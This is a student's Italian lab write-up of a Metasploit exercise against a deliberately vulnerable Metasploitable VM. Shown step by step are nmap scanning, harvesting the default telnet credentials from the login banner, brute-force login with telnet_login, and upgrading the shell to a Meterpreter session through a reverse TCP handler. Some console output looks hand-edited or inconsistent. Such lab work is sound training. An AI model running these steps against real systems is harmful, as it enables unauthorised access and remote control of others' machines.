

S7L2

Traccia:

Sulla base dell'esercizio visto in lezione teorica, utilizzare Metasploit per sfruttare la vulnerabilità relativa a Telnet con il modulo auxiliary telnet_version sulla macchina Metasploitable.

Requisito: Seguire gli step visti in lezione teorica. Prima, configurate l'ip della vostra Kali con 192.168.1.25 e l'ip della vostra Metasploitable con 192.168.1.40

Per l'avvio dell'attività ho configurato gli indirizzi IP come richiesto:

alla macchina Kali Linux ho assegnato l'IP **192.168.1.25**, mentre alla macchina Metasploitable l'IP **192.168.1.40**. Successivamente, ho verificato la corretta comunicazione tra le due macchine eseguendo un ping dalla Kali verso la Metasploitable, ottenendo risposta positiva. Questo passaggio preliminare ha confermato che l'infrastruttura di rete è correttamente configurata e pronta per procedere con l'esercizio di exploitation tramite Metasploit.

Dopo aver confermato la corretta comunicazione tra Kali e Metasploitable, ho eseguito una scansione delle porte con il comando:

`nmap -sV 192.168.1.40`

```
└─$ nmap -sV 192.168.1.40
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-26 07:49 EDT
Nmap scan report for 192.168.1.40
Host is up (0.00011s latency).
Not shown: 977 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
```

L'analisi ha restituito l'elenco dei servizi attivi, confermando che la porta **23/tcp (Telnet)** risultava aperta.

A questo punto ho avviato **Metasploit** tramite il comando:

msfconsole

All'interno della console ho effettuato una ricerca dei moduli disponibili relativi a Telnet con il comando:

`search auxiliary/scanner/telnet`

```
msf6 > search auxiliary/scanner/telnet
[-] Unknown command: search. Did you mean search? Run the help command for more details.
msf6 > search auxiliary/scanner/telnet
```

```
use auxiliary/scanner/telnet/telnet version
```

```
msf6 > use 7
msf6 auxiliary(scanner/telnet/telnet_version) > options
```

```
set RHOSTS 192.168.1.40
```

run

```
msf6 auxiliary(scanner/telnet/telnet_version) > set RHOSTS 192.168.1.40
RHOSTS => 192.168.1.40
```

Il modulo **auxiliary/scanner/telnet/telnet_version** ha effettuato la connessione alla porta **23/tcp** del target, restituendo le informazioni relative al servizio Telnet in esecuzione sulla macchina Metasploitable, tra cui i dati di accesso (*Login with msfadmin/msfadmin*).

```
msf6 > telnet 192.168.1.40  
[*] exec: telnet 192.168.1.40  
  
Trying 192.168.1.40 ...  
Connected to 192.168.1.40.  
Escape character is '^['.
```



```
[~_`-_-/_/-\|_|_) |_/)_/\|_|) |_|) |_|) |_|) |_|) |_|) |_|) |_|) |_|)  
[ ] [ ] [ ] [ ] [ ] [ ] [ ] [ ] [ ] [ ] [ ] [ ] [ ] [ ] [ ] [ ] [ ] [ ]  
[ ] [ ] [ ] [ ] [ ] [ ] [ ] [ ] [ ] [ ] [ ] [ ] [ ] [ ] [ ] [ ] [ ] [ ]  
[ ] [ ] [ ] [ ] [ ] [ ] [ ] [ ] [ ] [ ] [ ] [ ] [ ] [ ] [ ] [ ] [ ] [ ]  
[ ] [ ] [ ] [ ] [ ] [ ] [ ] [ ] [ ] [ ] [ ] [ ] [ ] [ ] [ ] [ ] [ ] [ ]
```

```
Warning: Never expose this VM to an untrusted network!  
Contact: msfdev[at]metasploit.com  
Login with msfadmind/msfadmind to get started  
  
metasploitable login: msfadmind  
Password:  
Login incorrect  
metasploitable login: msfadmind  
Password:  
Last login: Tue Aug 26 07:14:59 EDT 2025 on tty1  
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686  
  
The programs included with the Ubuntu system are free software;  
the exact distribution terms for each program are described in the  
individual files in /usr/share/doc/*/copyright.  
  
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by  
applicable law.  
  
To access official Ubuntu documentation, please visit:  
http://help.ubuntu.com/  
No mail.  
msfadmind@metasploitable:~$ █
```

Come possiamo notare, siamo riusciti ad accedere da remoto al servizio telnet di Metasploitable con le credenziali che sono state fornite dal modulo precedentemente utilizzato.

Extra

Per svolgere l'extra utilizziamo il modulo `auxiliary/scanner/telnet/telnet_login`. Questo modulo è progettato per automatizzare il tentativo di accesso a sistemi remoti tramite il protocollo **Telnet**, provando diverse combinazioni di nome utente e password.

```

msf6 > use 6
msf6 auxiliary(scanner/telnet/telnet_login) > show options

Module options (auxiliary/scanner/telnet/telnet_login):

  Name                Current Setting  Required  Description
  --                -
  ANONYMOUS_LOGIN      false           yes       Attempt to login with a blank username and password
  BLANK_PASSWORDS      false           no        Try blank passwords for all users
  BRUTEFORCE_SPEED     5               yes       How fast to bruteforce, from 0 to 5
  CreateSession        true            no        Create a new session for every successful login
  DB_ALL_CREDS         false           no        Try each user/password couple stored in the current database
  DB_ALL_PASS           false           no        Add all passwords in the current database to the list
  DB_ALL_USERS         false           no        Add all users in the current database to the list
  DB_SKIP_EXISTING     none            no        Skip existing credentials stored in the current database (Accepted: none, user, user6realm)
  PASSWORD             no              no        A specific password to authenticate with
  PASS_FILE            no              no        File containing passwords, one per line
  RHOSTS               yes             yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT                23             yes       The target port (TCP)
  STOP_ON_SUCCESS      false           yes       Stop guessing when a credential works for a host
  THREADS              1              yes       The number of concurrent threads (max one per host)
  USERNAME             no              no        A specific username to authenticate as
  USERPASS_FILE        no              no        File containing users and passwords separated by space, one pair per line
  USER_AS_PASS         false           no        Try the username as the password for all users
  USER_FILE            no              no        File containing usernames, one per line
  VERBOSE              true            yes       Whether to print output for all attempts

View the full module info with the info, or info -d command.

```

Dopo aver visto le opzioni e aver compreso come utilizzare il modulo, compiliamo i parametri con le informazioni ottenute in precedenza e avviamo con il comando **run**.

```

View the full module info with the info, or info -d command.

msf6 auxiliary(scanner/telnet/telnet_login) > set RHOSTS 192.168.1.40
RHOSTS => 192.168.1.40
msf6 auxiliary(scanner/telnet/telnet_login) > set STOP_ON_SUCCESS true
STOP_ON_SUCCESS => true
msf6 auxiliary(scanner/telnet/telnet_login) > set USERNAME msfadmin
USERNAME => msfadmin
msf6 auxiliary(scanner/telnet/telnet_login) > set PASSWORD msfadmin
PASSWORD => msfadmin
msf6 auxiliary(scanner/telnet/telnet_login) > run
[!] 192.168.1.40:23 - No active DB -- Credential data will not be saved!
[+] 192.168.1.40:23 - 192.168.1.40:23 - Login Successful: msfadmin:msfadmin
[*] 192.168.1.40:23 - Attempting to start session 192.168.1.40:23 with msfadmin:msfadmin
[*] Command shell session 1 opened (192.168.1.25:33041 -> 192.168.1.40:23) at 2025-08-26 08:58:43 -0400
[*] 192.168.1.40:23 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

```

Dopo aver fatto l'autenticazione, identifichiamo le sessioni attive tramite il comando **session -l**, rientriamo all'interno della sessione 1 e la mettiamo in background tramite CTRL+Z e confermando con Y.

```

msf6 auxiliary(scanner/telnet/telnet_login) > sessions -l

Active sessions

  Id  Name  Type  Information                                     Connection
  --  --
  1    shell TELNET msfadmin:msfadmin (192.168.1.40:23) 192.168.1.25:33041 -> 192.168.1.40:23 (192.168.1.40)

msf6 auxiliary(scanner/telnet/telnet_login) > sessions -i 1
[*] Starting interaction with 1 ...

msfadmin@metasploitable:~$ ^Z
Background session 1? [y/N] y

```

Successivamente avviamo un altro modulo post/multi/manage/shell_to_meterpreter, ispezioniamo le opzioni del modulo con il classico comando **show options**, compiliamo il parametro SESSION con 1 che farà l'upgrade della sessione in background creandone una nuova sulla base della prima sessione e avvio con il comando **run**.


```
msf6 auxiliary(scanner/telnet/telnet_login) > use post/multi/manage/shell_to_meterpreter
msf6 post(multi/manage/shell_to_meterpreter) > show options

Module options (post/multi/manage/shell_to_meterpreter):



| Name    | Current Setting | Required | Description                                                                             |
|---------|-----------------|----------|-----------------------------------------------------------------------------------------|
| HANDLER | true            | yes      | Start an exploit/multi/handler to receive the connection                                |
| LHOST   |                 | no       | IP of host that will receive the connection from the payload (Will try to auto detect). |
| LPORT   | 4433            | yes      | Port for payload to connect to.                                                         |
| SESSION |                 | yes      | The session to run this module on                                                       |



View the full module info with the info, or info -d command.

msf6 post(multi/manage/shell_to_meterpreter) > set SESSION 1
SESSION => 1

msf6 post(multi/manage/shell_to_meterpreter) > run
[*] SESSION may not be compatible with this module:
[*] * Unknown session platform. This module works with: Linux, OSX, Unix, Solaris, BSD, Windows.
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.1.25:4433
[*] Sending stage (1017704 bytes) to 192.168.1.40
[*] Meterpreter session 2 opened (192.168.1.25:4433 → 192.168.1.40:43043) at 2025-08-26 09:18:44 -0400
[*] Command stager progress: 100.00% (773/773 bytes)
[*] Post module execution completed
msf6 post(multi/manage/shell_to_meterpreter) > sessions -l

Active sessions



| Id | Name | Type        | Information                                | Connection                                            |
|----|------|-------------|--------------------------------------------|-------------------------------------------------------|
| 1  |      | shell       | TELNET msfadmin:msfadmin (192.168.1.40:23) | 192.168.1.25:33041 → 192.168.1.40:23 (192.168.1.40)   |
| 2  |      | meterpreter | msfadmin @ metasploitable.localdomain      | 192.168.1.25:4433 → 192.168.1.40:43043 (192.168.1.40) |


```

Questo processo dimostra come un attaccante, una volta ottenute le credenziali e un accesso di base a un sistema vulnerabile, possa escalare rapidamente il livello di controllo.

Sfruttando la vulnerabilità iniziale (in questo caso erano le credenziali predefinite della macchina Metasploitable) è stato possibile stabilire una connessione, e poi, usando gli strumenti avanzati di Metasploit, è stato possibile "aggiornare" la sessione a una shell **Meterpreter** che è molto più sofisticata di una semplice shell **Telnet** poiché può offrire funzionalità più avanzate come: caricamento di moduli aggiuntivi in memoria, raccolta di informazioni sul sistema (utente, processi, network). download e upload di file ed escalation dei privilegi.